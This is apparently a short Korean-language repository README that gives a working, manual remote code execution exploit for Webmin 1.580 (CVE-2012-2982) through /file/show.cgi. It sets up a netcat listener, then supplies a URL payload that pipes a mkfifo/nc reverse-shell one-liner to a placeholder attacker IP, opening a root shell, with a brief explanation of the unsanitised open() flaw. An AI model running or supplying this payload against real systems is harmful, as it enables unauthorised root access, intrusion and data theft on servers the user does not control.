marinovharisan/webmin-1.580---file-show.cgi-manual-remote-command-execution-non-metasploit-수동, 비-Metasploit 인증된 원격 코드 실행 (RCE) 익스플로잇, 브라우저 URL 표시줄을 통해 Webmin 1.580 (CVE-2012-2982) 대상
Webmin 1.580의 /file/show.cgi 구성 요소를 통해 인증된 원격 코드 실행(RCE)을 수행하기 위한 빠른 참고 자료입니다.
페이로드를 실행하기 전에 로컬 머신에서 다음 명령을 실행하여 들어오는 연결을 캐치하세요:
rlwrap nc -lnvp 4444
다음 URL을 브라우저 주소 표시줄에 직접 붙여넣으세요 (먼저 Webmin 대시보드에 로그인되어 있는지 확인하십시오):
http://127.0.0.1:10001/file/show.cgi/bin/sysinfo.cgi|rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <YOUR_ATTACK_IP> 4444 >/tmp/f|
참고: <YOUR_ATTACK_IP>를 실제 로컬 또는 터널 IP 주소로 바꾸는 것을 잊지 마세요. 또한 대상의 IP 및 PORT도 바꾸십시오.
취약점: /file/show.cgi에서 Perl의 내부 open() 함수로 전달되는 인라인 경로 정보의 불충분한 검증. 파이프 문자(|)를 추가하면 루트 권한으로 임의 명령 실행이 가능합니다.
인증: 활성 세션이 필요합니다. 브라우저는 URL 페이로드를 제출할 때 활성 세션 쿠키를 전송하여 자동으로 인증을 처리합니다.
예상 동작: Enter를 누르면 브라우저 탭이 회전하며 무기한 멈춘 것처럼 보입니다. 이는 서버 스레드가 성공적으로 하이재킹되어 인터랙티브 셸 세션을 유지하고 있음을 확인합니다.